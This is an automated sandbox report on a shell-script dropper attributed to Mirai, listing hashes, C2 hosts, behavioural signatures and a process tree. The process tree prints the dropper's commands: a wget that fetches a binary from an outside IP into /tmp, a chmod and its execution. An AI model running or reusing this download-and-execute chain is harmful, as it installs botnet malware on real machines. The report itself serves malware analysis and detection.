Analysis
- max time kernel
146s - max time network
143s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
18/07/2026, 12:20
Static task
static1
Behavioral task
behavioral1
Sample
all.sh
Resource
ubuntu1804-amd64-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
all.sh
Resource
debian9-armhf-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral3
Sample
all.sh
Resource
debian9-mipsbe-20260513-en
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
all.sh
Resource
debian9-mipsel-20260513-en
0 signatures
150 seconds
General
- Target all.sh
- Size 626B
- Sample260718-ph7cbabv2p
- SHA256 08a1e1569b57a42ea74c88600d7ddec79fe286a74702a8f8f7c9263163dca588
- MD5 74024426c7173bd33a1f10ca7cda7002
- SHA1 f250e6b6b8f001ed095e9f0d10e54cd952dd3398
- SHA512 df76c40b9d350313697c54425f667bae97f37b0c730f0ddafa38d8ed47387f60be5f0932569b013ad62f7044d254d06fef025a4280658d10eb7a7da821b078c6
- TLSH T17EF04957A897F0B3D5A0557B87ACB11C40E7B8231331FE1CB7887A604E77A04BC76A44
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Family
-
mirai
C2
-
servers.loseyourip.com
-
89.190.156.145
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1517 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/ntpd 1518 all.sh - Traces itself 18 IoCs
Traces itself to prevent debugging attempts
pid Process 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd 1519 ntpd - Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself uhttpd 1519 ntpd Changes the process name, possibly in an attempt to hide itself boa 1519 ntpd - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo ntpd -
description ioc Process File opened for reading /proc/mounts ntpd File opened for reading /proc/self/status ntpd - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/ntpd wget
Processes
-
/tmp/all.sh/tmp/all.sh1⤵
- Executes dropped EXE
PID:1505 -
/bin/unameuname -m2⤵PID:1507
-
-
/usr/bin/wgetwget -q http://8.213.214.55/nerv.x86_64 -O /tmp/ntpd2⤵
- Writes file to tmp directory
PID:1509
-
-
/bin/chmodchmod +x /tmp/ntpd2⤵
- File and Directory Permissions Modification
PID:1517
-
-
/tmp/ntpd/tmp/ntpd2⤵
- Traces itself
- Changes its process name
- Checks CPU configuration
- Reads runtime system information
PID:1518
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/ntpd
- Size 98KB
- SHA256 5b2af9ac1c8d073d038cfee2768d2ee6b4284f665c0cfcc941463bb379c27e86
- MD5 3350b991978e1db9e87555ea92df2cd2
- SHA1 a446a3b091dedb8d988ca724483d07318265e04a
- SHA512 8623ab3330d109952204aea2820fcaebe85432175768155e65f687239010bea67da12516dbffe1d87ec521a410ca2e72dc92722679d39bb2630121de2b5cc3ae
- SSDEEP 3072:EpSf3dIub3tZGahSksTYjSSxYo2V1E1oRi6LbLMfs+Mo/Uu:MSmub3tZrhSYjSSTiax6HLSMo
- TLSH T18EA33903B4C088FDC18AC17817AF763AD972F56E0139F1FB2BD0EA166D4DE215A1EA54
- MD5 SHA1 SHA512 SSDEEP TLSH